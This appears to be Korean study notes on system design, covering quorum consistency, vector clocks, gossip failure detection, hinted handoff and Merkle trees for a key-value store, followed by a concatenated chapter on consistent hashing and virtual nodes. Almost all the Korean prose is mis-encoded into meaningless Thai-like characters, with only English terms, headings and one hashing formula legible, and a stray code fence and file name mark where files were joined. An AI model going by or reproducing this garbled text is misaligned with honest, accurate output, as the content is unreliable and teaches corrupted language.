ธ๋๊ฐ ๋์๋ ์ค์ ๋ฌผ๋ฆฌ ์๋ฒ์ ๊ฐ์๊ฐ N๋ณด๋ค ์์์ง ์ ์๋ค. ์ด ๋ฌธ์ ๋ฅผ ํผํ๋ ค๋ฉด ๋
ธ๋๋ฅผ ์ ํํ ๋ ๊ฐ์ ๋ฌผ๋ฆฌ ์๋ฒ๋ฅผ ์ค๋ณต ์ ํํ์ง ์๋๋ก ํด์ผ ํ๋ค.
๊ฐ์ ๋ฐ์ดํฐ ์ผํฐ์ ์ํ ๋
ธ๋๋ ์ ์ , ๋คํธ์ํฌ ์ด์, ์์ฐ์ฌํด ๋ฑ์ ๋ฌธ์ ๋ฅผ ๋์์ ๊ฒช์ ์ ์์ผ๋ฏ๋ก, ์์ ์ฑ ๋ด๋ณด๋ฅผ ์ํด ๋ฐ์ดํฐ์ ์ฌ๋ณธ์ ๋ค๋ฅธ ์ผํฐ์ ์๋ฒ์ ๋ณด๊ดํ๊ณ , ์ผํฐ๋ค์ ๊ณ ์ ๋คํธ์ํฌ๋ก ์ฐ๊ฒฐํ๋ค.
#### ๋ฐ์ดํฐ ์ผ๊ด์ฑ
์ฌ๋ฌ ๋
ธ๋์ ๋ค์คํ๋ ๋ฐ์ดํฐ๋ ์ ์ ํ ๋๊ธฐํ๊ฐ ๋์ด์ผ ํ๋ค. Quorum Consensus ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ฉด ์ฝ๊ธฐ/์ฐ๊ธฐ ์ฐ์ฐ ๋ชจ๋์ ์ผ๊ด์ฑ์ ๋ณด์ฅํ ์ ์๋ค. ๊ด๊ณ๋ ์ ์๋ถํฐ ๋ช๊ฐ์ง ์ดํด๋ณด์
- N: ์ฌ๋ณธ ๊ฐ์
- W: ์ฐ๊ธฐ์ ๋ํ Quorum. ์ฐ๊ธฐ ์ฐ์ฐ์ด ์ฑ๊ณต์ผ๋ก ๊ฐ์ฃผ๋๋ ค๋ฉด ์ ์ด๋ W๊ฐ์ ์๋ฒ๋ก๋ถํฐ ์ฐ๊ธฐ ์ฐ์ฐ์ด ์ฑ๊ณตํ๋ค๋ ์๋ต์ ๋ฐ์์ผ ํ๋ค.
- R: ์ฝ๊ธฐ์ ๋ํ Quorum. ์ฝ๊ธฐ ์ฐ์ฐ์ด ์ฑ๊ณต์ผ๋ก ๊ฐ์ฃผ๋๋ ค๋ฉด ์ ์ด๋ R๊ฐ์ ์๋ฒ๋ก๋ถํฐ ์๋ต์ ๋ฐ์์ผ ํ๋ค.
W,R,N์ ๊ฐ์ ์ ํ๋ ๊ฒ์ ์๋ต ์ง์ฐ๊ณผ ๋ฐ์ดํฐ ์ผ๊ด์ฑ ์ฌ์ด์ ํํ์ ์ ์ฐพ๋ ์ ํ์ ์ธ ๊ณผ์ ์ด๋ค.
- W=1 or R=1: ์ค์ฌ์๋ ํ ๋ ์๋ฒ๋ก๋ถํฐ์ ์๋ต๋ง ๋ฐ์ผ๋ฉด ๋๊ธฐ ๋๋ฌธ์ ์๋ต์๋๊ฐ ๋น ๋ฅด๋ค
- W>1 or R>1: ์์คํ
์ ์ผ๊ด์ฑ์ ๋์์ง์ง๋ง, ์ค์ฌ์์ ์๋ต ์๋๋ ๊ฐ์ฅ ๋๋ฆฐ ์๋ฒ๋ก๋ถํฐ์ ์๋ต์ ๊ธฐ๋ค๋ ค์ผ ํ๋ฏ๋ก ๋๋ ค์ง ๊ฒ์ด๋ค
- W+R>N: Strong Consistency. ์ผ๊ด์ฑ์ ๋ณด์ฆํ ์ต์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ง ๋
ธ๋๊ฐ ์ต์ ํ๋๋ ๊ฒน์น ๊ฒ์ด๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฉด์ ์์๋ N, W, R ๊ฐ์ ์ด๋ป๊ฒ ์ ํ ๊น?
- R=1, W=N: ๋น ๋ฅธ ์ฝ๊ธฐ ์ฐ์ฐ์ ์ต์ ํ ๋ ์์คํ
- R=N, W=1: ๋น ๋ฅธ ์ฐ๊ธฐ ์ฐ์ฐ์ ์ต์ ํ ๋ ์์คํ
- W+R>N: Strong Consistency ๋ณด์ฅ
- W+R<=N: Strong Consistency ๋ณด์ฅ X
##### ์ผ๊ด์ฑ ๋ชจ๋ธ (Consistency Model)
- String Consistency: ๋ชจ๋ ์ฝ๊ธฐ ์ฐ์ฐ์ ๊ฐ์ฅ ์ต๊ทผ์ ๊ฐฑ์ ๋ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ค. ๋ค์ ๋งํด์ ํด๋ผ์ด์ธํธ๋ ์ ๋ out-of-date ๋ฐ์ดํฐ๋ฅผ ๋ณด์ง ๋ชปํ๋ค.
- Weak Consistency: ์ฝ๊ธฐ ์ฐ์ฐ์ ๊ฐ์ฅ ์ต๊ทผ์ ๊ฐฑ์ ๋ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ์ง ๋ชปํ ์ ์๋ค.
- Eventual Consistency: ์ฝํ ์ผ๊ด์ฑ์ ํ ํํ, ๊ฐฑ์ ๊ฒฐ๊ณผ๊ฐ ๊ฒฐ๊ตญ์๋ ๋ชจ๋ ์ฌ๋ณธ์ ๋ฐ์(์ฆ, ๋๊ธฐํ)๋๋ ๋ชจ๋ธ์ด๋ค.
- ๊ฐํ ์ผ๊ด์ฑ์ ๋ฌ์ฑํ๋ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ ๋ชจ๋ ์ฌ๋ณธ์ ํ์ฌ ์ฐ๊ธฐ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋ฐ์๋ ๋๊น์ง ํด๋น ๋ฐ์ดํฐ์ ๋ํ ์ฝ๊ธฐ/์ฐ๊ธฐ๋ฅผ ๊ธ์งํ๋ ๊ฒ์ด๋ค. ์ด ๋ฐฉ๋ฒ์ ์๋ก์ด ์์ฒญ์ ์ฒ๋ฆฌ๊ฐ ์ค๋จ๋๊ธฐ ๋๋ฌธ์ ๊ณ ๊ฐ์ฉ์ฑ ์์คํ
์๋ ์ ํฉํ์ง ์๋ค.
- ๊ฒฐ๊ณผ์ ์ผ๊ด์ฑ ๋ชจ๋ธ์ ๋ฐ๋ฅผ ๊ฒฝ์ฐ ์ฐ๊ธฐ ์ฐ์ฐ์ด ๋ณ๋ ฌ์ ์ผ๋ก ๋ฐ์ํ๋ฉด ์์คํ
์ ์ ์ฅ๋ ๊ฐ์ ์ผ๊ด์ฑ์ด ๊นจ์ด์ง ์ ์๋๋ฐ, ์ด ๋ฌธ์ ๋ ํด๋ผ์ด์ธํธ๊ฐ ํด๊ฒฐํด์ผ ํ๋ค.
##### ๋น ์ผ๊ด์ฑ ํด์ ๊ธฐ๋ฒ: ๋ฐ์ดํฐ ๋ฒ์ ๋
๋ฐ์ดํฐ๋ฅผ ๋ค์คํํ๋ฉด ๊ฐ์ฉ์ฑ์ ๋์์ง์ง๋ง ์ฌ๋ณธ ๊ฐ ์ผ๊ด์ฑ์ด ๊นจ์ง ๊ฐ๋ฅ์ฑ์ ๋์์ง๋ค. ๋ฒ์ ๋๊ณผ ๋ฒกํฐ ์๊ณ๋ ๊ทธ ๋ฌธ์ ๋ฅผ ํด์ํ๊ธฐ ์ํด ๋ฑ์ฅํ ๊ธฐ์ ์ด๋ค. ๋ฒ์ ๋์ ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ ๋ ๋ง๋ค ํด๋น ๋ฐ์ดํฐ์ ์๋ก์ด ๋ฒ์ ์ ๋ง๋๋ ๊ฒ์ ์๋ฏธํ๋ค. ๋ฐ๋ผ์ ๊ฐ ๋ฒ์ ์ ๋ฐ์ดํฐ๋ ๋ณ๊ฒฝ ๋ถ๊ฐ๋ฅํ๋ค.
๋ฒกํฐ ์๊ณ๋ [์๋ฒ, ๋ฒ์ ]์ ์์์์ ๋ฐ์ดํฐ์ ๋งค๋จ ๊ฒ์ด๋ค. ์ด๋ค ๋ฒ์ ์ด ์ ํ ๋ฒ์ ์ธ์ง, ํํ ๋ฒ์ ์ธ์ง ์๋ฆฌ๋ฉด ๋ค๋ฅธ ๋ฒ์ ๊ณผ ์ถฉ๋์ด ์๋์ง ํ๋ณํ๋๋ฐ ์ฐ์ธ๋ค. ๋ฒกํฐ ์๊ณ๋ฅผ ์ฌ์ฉํ๋ฉด ์ด๋ค ๋ฒ์ X๊ฐ ์ด๋ค ๋ฒ์ Y์ ์ด์ ๋ฒ์ ์ธ์ง (๋ฐ๋ผ์ ์ถฉ๋์ด ์๋์ง) ์ฝ๊ฒ ํ๋จํ ์ ์๋ค. ํ์ง๋ง ๋ฒกํฐ ์๊ณ์๋ ๋ ๊ฐ์ง ๋ถ๋ช
ํ ๋จ์ ์ด ์๋ค.
1. ์ถฉ๋ ๊ฐ์ง ๋ฐ ํด์ ๋ก์ง์ด ํด๋ผ์ด์ธํธ์ ๋ค์ด๊ฐ์ผ ํ๋ฏ๋ก ํด๋ผ์ด์ธํธ ๋ก์ง์ด ๋ณต์กํด์ง๋ค.
2. [์๋ฒ, ๋ฒ์ ] ์์์์ ๊ฐ์๊ฐ ๊ต์ฅํ ๋นจ๋ฆฌ ๋์ด๋๋ค. ํ์ง๋ง ๋ค์ด๋๋ชจ DB์ ๊ด๊ณ๋ ๋ฌธํ์ ๋ฐ๋ฅด๋ฉด ์๋ง์กด์ ์ค์ ์๋น์ค์์ ์ด๋ฌํ ๋ฌธ์ ๊ฐ ๋ฒ์ด์ง๋ ๊ฒ์ ๋ฐ๊ฒฌํ ์ ์ด ์๋ค๊ณ ํ๋ค. ๋ฐ๋ผ์ ๋๋ถ๋ถ์ ๊ธฐ์
์์ ๋ฒกํฐ ์๊ณ๋ ์ ์ฉํด๋ ๊ด์ฐฎ์ ์๋ฃจ์
์ผ ๊ฒ์ด๋ค.
##### ์ฅ์ ์ฒ๋ฆฌ
๋๋ค์ ๋๊ท๋ชจ ์์คํ
์์ ์ฅ์ ๋ ํํ๊ฒ ๋ฒ์ด์ง๋ ์ฌ๊ฑด์ด๋ค. ๋ฐ๋ผ์ ์ฅ์ ๋ฅผ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ ๊ฒ์ธ์ง๋ ๊ต์ฅํ ์ค์ํ ๋ฌธ์ ๋ค
##### ์ฅ์ ๊ฐ์ง
๋ถ์ฐ ์์คํ
์์๋ ํ๋์ ์๋ฒ๊ฑฐ ์๋ฒ A๊ฐ ์ฃฝ์๋ค๊ณ ํด์ ๋ฐ๋ก ์ฅ์ ์ฒ๋ฆฌ๋ฅผ ํ์ง ์๋๋ค. ๋ณดํต ๋ ๋ ์ด์์ ์๋ฒ๊ฐ ๋๊ฐ์ ์๋ฒ A์ ์ฅ์ ๋ฅผ ๋ณด๊ณ ํด์ผ ํด๋น ์๋ฒ์ ์ค์ ๋ก ์ฅ์ ๊ฐ ๋ฐ์ํ๋ค๊ณ ๊ฐ์ฃผํ๋ค.
๋ฉํฐ์บ์คํ
์ฑ๋์ ๊ตฌ์ถํ๋ฉด ์๋ฒ ์ฅ์ ์ ๊ฐ์ง๋ ์์ฌ์์ง์ง๋ง, ์๋ฒ๊ฐ ๋ง์ ๋๋ ๋นํจ์จ์ ์ด๋๋ค. ๊ฐ์ญ ํ๋กํ ์ฝ ๊ฐ์ ๋ถ์ฐํ ์ฅ์ ๊ฐ์ง(decenteralized failure detect) ์๋ฃจ์
์ ์ฑํํ๋ ํธ์ด ํจ์จ์ ์ด๋ค. ๊ฐ์ญ ํ๋กํ ์ฝ์ ๋์ ์๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค
- ๊ฐ ๋
ธ๋๋ ๋ฉค๋ฒ์ญ ๋ชฉ๋ก์ ์ ์งํ๋ค. ๋ฉค๋ฒ์ญ ๋ชฉ๋ก์ ๊ฐ ๋ฉค๋ฒ ID์ heartbeat counter ์์ ๋ชฉ๋ก์ด๋ค.
- ๊ฐ ๋
ธ๋๋ ์ฃผ๊ธฐ์ ์ผ๋ก ์์ ์ ๋ฐ๋ ์นด์ดํฐ๋ฅผ ์ฆ๊ฐ์ํจ๋ค
- ๊ฐ ๋
ธ๋๋ ๋ฌด์์๋ก ์ ์ ๋ ๋
ธ๋๋ค์๊ฒ ์ฃผ๊ธฐ์ ์ผ๋ก ์๊ธฐ ๋ฐ๋ ์นด์ดํฐ ๋ชฉ๋ก์ ๋ณด๋ธ๋ค.
- ๋ฐ๋ ์นด์ดํฐ ๋ชฉ๋ก์ ๋ฐ์ ๋
ธ๋๋ ๋ฉค๋ฒ์ญ ๋ชฉ๋ก์ ์ต์ ๊ฐ์ผ๋ก ๊ฐฑ์ ํ๋ค.
- ์ด๋ค ๋ฉค๋ฒ์ ๋ฐ๋ ์นด์ดํฐ ๊ฐ์ด ์ง์ ๋ ์๊ฐ ๋์ ๊ฐฑ์ ๋์ง ์์ผ๋ฉด ํด๋น ๋ฉค๋ฒ๋ ์ฅ์ ์ํ์ธ ๊ฒ์ผ๋ก ๊ฐ์ฃผํ๋ค.
##### ์ผ์์ ์ฅ์ ์ฒ๋ฆฌ
sloppy quorum์ strict quorum์ ์ํํ๋ฉฐ ๊ฐ์ฉ์ฑ์ ๋์ธ๋ค. ์ ์กฑ์ ์๊ตฌ์ฌํญ์ ๊ฐ์ ํ๋ ๋์ , ์ฐ๊ธฐ ์ฐ์ฐ์ ์ํํ W๊ฐ์ ๊ฑด๊ฐํ ์๋ฒ์ ์ฝ๊ธฐ ์ฐ์ฐ์ ์ํํ R๊ฐ์ ๊ฑด๊ฐํ ์๋ฒ๋ฅผ ๊ณ ๋ฅธ๋ค. ์ด ๋, ์ฅ์ ์ํ์ธ ์๋ฒ๋ ๋ฌด์ํ๋ค.
๋คํธ์ํฌ๋ ์๋ฒ ๋ฌธ์ ๋ก ์ฅ์ ์ํ์ธ ์๋ฒ๋ก ๊ฐ๋ ์์ฒญ์ ๋ค๋ฅธ ์๋ฒ๊ฐ ์ ์ ๋งก์ ๋ณด๊ดํ๊ณ , ๊ทธ๋์ ๋ฐ์ํ ๋ณ๊ฒฝ์ฌํญ์ ํด๋น ์๋ฒ๊ฐ ๋ณต๊ตฌ๋์ ๋ ์ผ๊ด ๋ฐ์ํ์ฌ ๋ฐ์ดํฐ ์ผ๊ด์ฑ์ ๋ณด์กดํ๋ค. ์ด๋ฅผ ์ํด ์์๋ก ์ฐ๊ธฐ ์ฐ์ฐ์ ์ฒ๋ฆฌํ ์๋ฒ์๋ ๊ทธ์ ๊ดํ hint๋ฅผ ๋จ๊ฒจ์ค๋ค. ๋ฐ๋ผ์ ์ด๋ฐ ใ
ใ
ใ
์ ์ฒ๋ฆฌ ๋ฐฉ์์ ๋จ์ ํ ์์ ์ํ(hinted handoff) ๊ธฐ๋ฒ์ด๋ผ ๋ถ๋ฅธ๋ค.
##### ์๊ตฌ ์ฅ์ ์ฒ๋ฆฌ
์๊ตฌ ์ ์ธ ๋
ธ๋์ ์ฅ์ ์ํ๋ anti-entropy ํ๋กํ ์ฝ์ ๊ตฌํํ์ฌ ์ฌ๋ณธ๋ค์ ๋๊ธฐํํ์ฌ ์ฒ๋ฆฌํ๋ค. anti-entropy ํ๋กํ ์ฝ์ ์ฌ๋ณธ๋ค์ ๋น๊ตํ์ฌ ์ต์ ๋ฒ์ ์ผ๋ก ๊ฐฑ์ ํ๋ ๊ณผ์ ์ ํฌํจํ๋ค. ์ฌ๋ณธ ๊ฐ์ ์ผ๊ด์ฑ์ด ๋ง๊ฐ์ง ์ํ๋ฅผ ํ์งํ๊ณ ์ ์ก ๋ฐ์ดํฐ์ ์์ ์ค์ด๊ธฐ ์ํด์๋ ๋จธํด ํธ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ค.
- ๋จธํด ํธ๋ฆฌ
- aka ํด์ํธ๋ฆฌ
- ๊ฐ ๋
ธ๋์ ์์ ๋
ธ๋๋ค์ ๋ณด๊ด๋ ๊ฐ์ ํด์ ๋๋ ์์ ๋
ธ๋๋ค์ ๋ ์ด๋ธ๋ก๋ถํฐ ๊ณ์ฐ๋ ํด์๊ฐ์ ๋ ์ด๋ธ๋ก ๋ถ์ฌ๋๋ ํธ๋ฆฌ
- ๋๊ท๋ชจ ์๋ฃ ๊ตฌ์กฐ์ ๋ด์ฉ์ ํจ๊ณผ์ ์ด๋ฉด์ ์์ ํ ๋ฐฉ๋ฒ์ผ๋ก ๊ฒ์ฆํ ์ ์๋ค.
##### ๋ฐ์ดํฐ ์ผํฐ ์ฅ์ ์ฒ๋ฆฌ
๋ฐ์ดํฐ ์ผํฐ ์ฅ์ ๋ ์ ์ , ๋คํธ์ํฌ ์ฅ์ , ์์ฐ์ฌํด ๋ฑ ๋ค์ํ ์ด์ ๋ก ๋ฐ์ํ ์ ์๋ค. ์ฅ์ ์ ๋์ํ๋ ค๋ฉด ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ๋ฐ์ดํฐ ์ผํฐ์ ๋ค์คํํด์ผ ํ๋ค.
```
chap5.md
```# 5์ฅ ์์ ํด์ ์ค๊ณ (Consistent Hashing)
- ์ํ์ ๊ท๋ชจ ํ์ฅ์ฑ์ ๋ฌ์ฑํ๊ธฐ ์ํด์๋ ์์ฒญ ๋๋ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ์ ๊ท ๋ฑํ๊ฒ ๋๋๋ ๊ฒ์ด ์ค์ํ๋ค. consistent hashing์ ์ด ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด ๋ณดํธ์ ์ผ๋ก ์ฌ์ฉํ๋ ๊ธฐ์ ์ด๋ค.
## ํด์ ํค ์ฌ๋ฐฐ์น(rehash) ๋ฌธ์
N๊ฐ์ ์บ์ ์๋ฒ๊ฐ ์์ ๋ ์ด ์๋ฒ๋ค์ ๋ถํ๋ฅผ ๊ท ๋ฑํ๊ฒ ๋๋๋ ๋ณดํธ์ ์ธ ๋ฐฉ๋ฒ์ ์๋์ ๊ฐ์ ํด์ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด๋ค.
```
serverIndex = hash(key) % N (N์ ์๋ฒ์ ๊ฐฏ์)
```
์ด ๋ฐฉ์์ server pool์ ํฌ๊ธฐ๊ฐ ๊ณ ์ ๋์ด ์์ ๋, ๊ทธ๋ฆฌ๊ณ ๋ฐ์ดํฐ ๋ถํฌ๊ฐ ๊ท ๋ฑํ ๋๋ ์ ๋์ํ๋ค. ํ์ง๋ง ์๋ฒ๊ฐ ์ถ๊ฐ๋๊ฑฐ๋ ์ญ์ ๊ฐ ๋๋ฉด ๋ฌธ์ ๊ฐ ์๊ธด๋ค. consistent hashing์ ์๋ฒ ์์ ๋ณํ๋ก ์ธํด ๋ฐ์ํ ์ ์๋ cache miss๋ฅผ ํจ๊ณผ์ ์ผ๋ก ํด๊ฒฐํ ์ ์๋ ๊ธฐ์ ์ด๋ค.
## consistent hash
ํด์ ํ
์ด๋ธ์ ํฌ๊ธฐ๊ฐ ์กฐ์ ๋ ๋ ํ๊ท ์ ์ผ๋ก k/n๊ฐ์ ํค๋ง ์ฌ๋ฐฐ์น ํ๋ ํด์ ๊ธฐ์ (k๋ ํค์ ๊ฐ์, n์ ์ฌ๋กฏ์ ๊ฐ์)์ด๋ค. ์ด์ ๋ฌ๋ฆฌ ์ ํต์ ํด์ ํ
์ด๋ธ์ ์ฌ๋กฏ์ ์๊ฐ ๋ฐ๋๋ฉด ๊ฑฐ์ ๋๋ถ๋ถ์ ํค๋ฅผ rehashingํ๋ค.
### ํด์ ๊ณต๊ฐ๊ณผ ํด์ ๋ง
ํด์ ํจ์ f๋ก๋ SHA-1์ ์ฌ์ฉํ๊ณ , ์ด ํจ์์ ์ถ๋ ฅ ๊ฐ ๋ฒ์ x0, x1, ... , xn์ด๋ค.
์ด ๋ฒ์(๊ณต๊ฐ)์ ๊ทธ๋ฆผ์ผ๋ก ํํํ์ฌ ์๋์ ๊ตฌ๋ถ๋ ค ์ ์ผ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํด์ ๋ง์ด ํ์ํ๋ค.

### ํด์ ์๋ฒ
ํด์ ํจ์ f๋ฅผ ์ฌ์ฉํ๋ฉด ์๋ฒ IP๋ ์ด๋ฆ์ ๋ง์์ ์ด๋ค ์์น์ ๋์์ํฌ ์ ์๋ค. ์๋ ๊ทธ๋ฆผ์ 4๊ฐ์ ์๋ฒ๋ฅผ ํด์ ๋ง ์์ ๋ฐฐ์นํ ๊ฒฐ๊ณผ๋ค.

### ํด์ ํค
*์ฌ๊ธฐ์ ์ฌ์ฉ๋ ํด์ ํจ์๋ ํด์ ํค ์ฌ๋ฐฐ์น(rehash) ๋ฌธ์ ์์ ์ธ๊ธํ ํจ์์๋ ๋ค๋ฅด๋ฉฐ, ๋๋จธ์ง ์ฐ์ฐ์ ์ฌ์ฉํ์ง ์๊ณ ์๋ค.*
์๋ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ด ์บ์ํ ํค๋ฅผ ํด์ ๋ง ์์ ์ด๋ ์ง์ ์ ๋ฐฐ์นํ ์ ์๋ค.

### ์๋ฒ ์กฐํ
์ด๋ค ํค๊ฐ ์ ์ฅ๋๋ ์๋ฒ๋, ํด๋น ํค์ ์์น๋ก๋ถํฐ ์๊ณ ๋ฐฉํฅ์ผ๋ก ๋ง์ ํ์ํด๋๊ฐ๋ฉด์ ๋ง๋๋ ์ฒซ ๋ฒ์งธ ์๋ฒ๋ค. ์๋ ๊ทธ๋ฆผ์์ key0์ ์๋ฒ 0์ ์ ์ฅ๋๊ณ , key1์ ์๋ฒ 1์ ์ ์ฅ๋๋ฉฐ key2๋ ์๋ฒ2, key3์ ์๋ฒ3์ ์ ์ฅ๋๋ค.

### ์๋ฒ ์ถ๊ฐ
๋ฐฉ๊ธ ์ค๋ช
ํ ๋ด์ฉ์ ๋ฐ๋ฅด๋ฉด, ์๋ฒ๋ฅผ ์ถ๊ฐํ๋๋ผ๋ ํค์ ์ผ๋ถ๋ง ์ฌ๋ฐฐ์น ๋๋ค. ์๋ ๊ทธ๋ฆผ์์ ์๋ฒ 4๊ฐ ์ถ๊ฐ๋์์ง๋ง key0๋ง ์ฌ๋ฐฐ์น ๋๋ค. ์๋ฒ 4๊ฐ ์ถ๊ฐ๋ ์ดํ๋ก key0๊ฐ ์๊ณ ๋ฐฉํฅ์ผ๋ก ์ํํ์ ๋ ์ฒ์์ผ๋ก ๋ง๋๊ฒ ๋๋ ์๋ฒ๊ฐ ์๋ฒ4๊ฐ ๋๊ธฐ ๋๋ฌธ์ด๋ค. ๋ค๋ฅธ ํค๋ค์ ์ฌ๋ฐฐ์น ๋์ง ์๋๋ค.

### ์๋ฒ ์ ๊ฑฐ
ํ๋์ ์๋ฒ๊ฐ ์ ๊ฑฐ๋๋ฉด ํค์ ์ผ๋ถ๋ง ์ฌ๋ฐฐ์น ๋๋ค. ์๋ ๊ทธ๋ฆผ์์ ์๋ฒ 1์ ์ ๊ฑฐ๋ก key1๋ง ์ฌ๋ฐฐ์น ๋๋ค.

### ๊ธฐ๋ณธ ๊ตฌํ๋ฒ์ ๋ ๊ฐ์ง ๋ฌธ์
์์ ํด์ ์๊ณ ๋ฆฌ์ฆ์ MIT์์ ์ฒ์ ์ ์๋์ด ๊ทธ ๊ธฐ๋ณธ ์ ์ฐจ๋ ๋ค์๊ณผ ๊ฐ๋ค
1. ์๋ฒ์ ํค๋ฅผ ๊ท ๋ฑ ๋ถํฌ (uniform distribution) ํด์ ํจ์๋ฅผ ์ฌ์ฉํด ํด์ ๋ง์ ๋ฐฐ์นํ๋ค.
2. ํค์ ์์น์์ ๋ง์ ์๊ณ ๋ฐฉํฅ์ผ๋ก ํ์ํ๋ค ๋ง๋๋ ์ต์ด์ ์๋ฒ๊ฐ ํค๊ฐ ์ ์ฅ๋ ์๋ฒ๋ค.
์ด ์ ๊ทผ๋ฒ์๋ ๋๊ฐ์ง ๋ฌธ์ ๊ฐ ์๋ค.
1. ์๋ฒ์์ ๋ณ๊ฒฝ์ด ์ผ์ด๋๋ฉด ํํฐ์
์ ํฌ๊ธฐ๋ฅผ ๊ท ๋ฑํ๊ฒ ์ ์งํ๋๊ฒ ๋ถ๊ฐ๋ฅํ๋ค
1. ํํฐ์
์ ์ธ์ ํ ์๋ฒ ์ฌ์ด์ ํด์ ๊ณต๊ฐ
2. ์ด๋ค ์๋ฒ๋ ๊ต์ฅํ ์์ ํด์ ๊ณต๊ฐ์ ํ ๋น ๋ฐ๊ณ , ์ด๋ค ์๋ฒ๋ ๊ต์ฅํ ํฐ ํด์ ๊ณต๊ฐ์ ํ ๋น ๋ฐ๋ ์ํฉ์ด ๊ฐ๋ฅํ๋ค.
์๋ ๊ทธ๋ฆผ์์ s2๋ s1์ด ์ ๊ฑฐ๋์ด ํํฐ์
์ด ๋ค๋ฅธ ํํฐ์
๋๋น ๋ ๋ฐฐ ๊ฐ๋ ์ปค์ง๋ค.

2. ํค์ ๊ท ๋ฑ ๋ถํฌ๊ฐ ์ด๋ ต๋ค
์๋ ๊ทธ๋ฆผ์์ s0, s1, s3๋ ์๋ฌด ๋ฐ์ดํฐ๋ ๊ฐ์ง ์๋ ๋ฐ๋ฉด ๋๋ถ๋ถ์ ํค๋ s2์ ๋ณด๊ด๋ ๊ฒ์ด๋ค.

์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ์ ์๋ ๊ธฐ๋ฒ์ด virtual node ๋๋ replica๋ผ ๋ถ๋ฆฌ๋ ๊ธฐ๋ฒ์ด๋ค.
#### ๊ฐ์ ๋
ธ๋ (virtual node)
virtual node๋ ์ค์ ๋
ธ๋ ๋๋ ์๋ฒ๋ฅผ ๊ฐ๋ฆฌํค๋ ๋
ธ๋๋ก์ ํ๋์ ์๋ฒ๋ ๋ง ์์ ์ฌ๋ฌ๊ฐ์ ๊ฐ์ ๋
ธ๋๋ฅผ ๊ฐ์ง ์ ์๋ค. ์๋ ๊ทธ๋ฆผ์ ๋ณด๋ฉด ์๋ฒ 0๊ณผ ์๋ฒ 3์ 3๊ฐ์ ๊ฐ์ ๋
ธ๋๋ฅผ ๊ฐ์ผ๋ฉฐ, ์ค์ ๋ก๋ ์ด๋ณด๋ค ํจ์ฌ ํฐ ๊ฐ์ด ์ฌ์ฉ๋๋ค. ์ด ๋ ์๋ฒ๋ฅผ ๋ง์ ๋ฐฐ์นํ ๋๋ s0,s1~ s0-3,s1-3 ์ธ๊ฐ์ ๊ฐ์ ๋
ธ๋๋ฅผ ์ฌ์ฉํ๊ณ ์ด๋ก ์ธํด ๊ฐ ์๋ฒ๋ ํ๋๊ฐ ์๋ ์ฌ๋ฌ๊ฐ์ ํํฐ์
์ ๊ด๋ฆฌํด์ผ ํ๋ค. s0์ผ๋ก ํ์๋ ํํฐ์
์ s0์ด ๊ด๋ฆฌํ๋ ํํฐ์
์ด๊ณ s1์ผ๋ก ํ์๋ ํํฐ์
์ s1์ด ๊ด๋ฆฌํ๋ ํํฐ์
์ด๋ค.

๊ฐ์ ๋
ธ๋์ ๊ฐ์๋ฅผ ๋๋ฆฌ๋ฉด ํค์ ๋ถํฌ๋ ์ ์ ๊ท ๋ฑํด์ง๋ค. ํ์ค ํธ์ฐจ๋ ๋ฐ์ดํฐ๊ฐ ์ด๋ป๊ฒ ํผ์ ธ ๋๊ฐ๋์ง๋ฅผ ๋ณด์ด๋ ์ฒ๋๋ค. ๊ฐ์ ๋
ธ๋์ ๊ฐ์๋ฅผ ๋๋ฆฌ๋ฉด ํ์ค ํธ์ฐจ์ ๊ฐ์ ๋จ์ด์ง์ง๋ง, ๊ฐ์ ๋
ธ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ๊ณต๊ฐ์ ๋ ๋ง์ด ํ์ํ๊ฒ ๋๋ค. tradeoff๊ฐ ํ์ํ๋ค. ๋ฐ๋ผ์ ์์คํ
์๊ตฌ์ฌํญ์ ๋ง๋๋ก ๊ฐ์ ๋
ธ๋ ๊ฐ์๋ฅผ ์ ์ ํ ์กฐ์ ํด์ผ ํ๋ค.
### ์ฌ๋ฐฐ์นํ ํค ๊ฒฐ์
์๋ฒ๊ฐ ์ถ๊ฐ๋๊ฑฐ๋ ์ ๊ฑฐ๋๋ฉด ๋ฐ์ดํฐ ์ผ๋ถ๋ ์ฌ๋ฐฐ์น ํด์ผ ํ๋ค. ์ด๋ ๋ฒ์์ ํค๋ค์ด ์ฌ๋ฐฐ์น๋์ด์ผ ํ ๊น?
์๋์ ๊ฐ์ด ์๋ฒ 4๊ฐ ์ถ๊ฐ๋๊ฒฝ์ฐ, s3~s4 ๊ตฌ๊ฐ์ ํค๊ฐ s4๋ก ์ฌ๋ฐฐ์น ๋์ด์ผ ํ๋ค. ๋, ์๋ฒ 1์ด ์ญ์ ๋ ๊ฒฝ์ฐ ์๋ฒ 0์์ ์๋ฒ 1์ฌ์ด์ ํค๊ฐ ์๋ฒ2๋ก ์ฌ๋ฐฐ์น ๋์ด์ผ ํ๋ค.

### ์ ๋ฆฌ
์์ ํด์์ ์ด์ ์ ๋ค์๊ณผ ๊ฐ๋ค.
- ์๋ฒ๊ฐ ์ถ๊ฐ๋๊ฑฐ๋ ์ญ์ ๋ ๋ ์ฌ๋ฐฐ์น ๋๋ ํค์ ์๊ฐ ์ต์ํ๋๋ค.
- ๋ฐ์ดํฐ๊ฐ ๋ณด๋ค ๊ท ๋ฑํ๊ฒ ๋ถํฌํ๊ฒ ๋๋ฏ๋ก ์ํ์ ๊ท๋ชจ ํ์ฅ์ฑ์ ๋ฌ์ฑํ๊ธฐ ์ฝ๋ค.
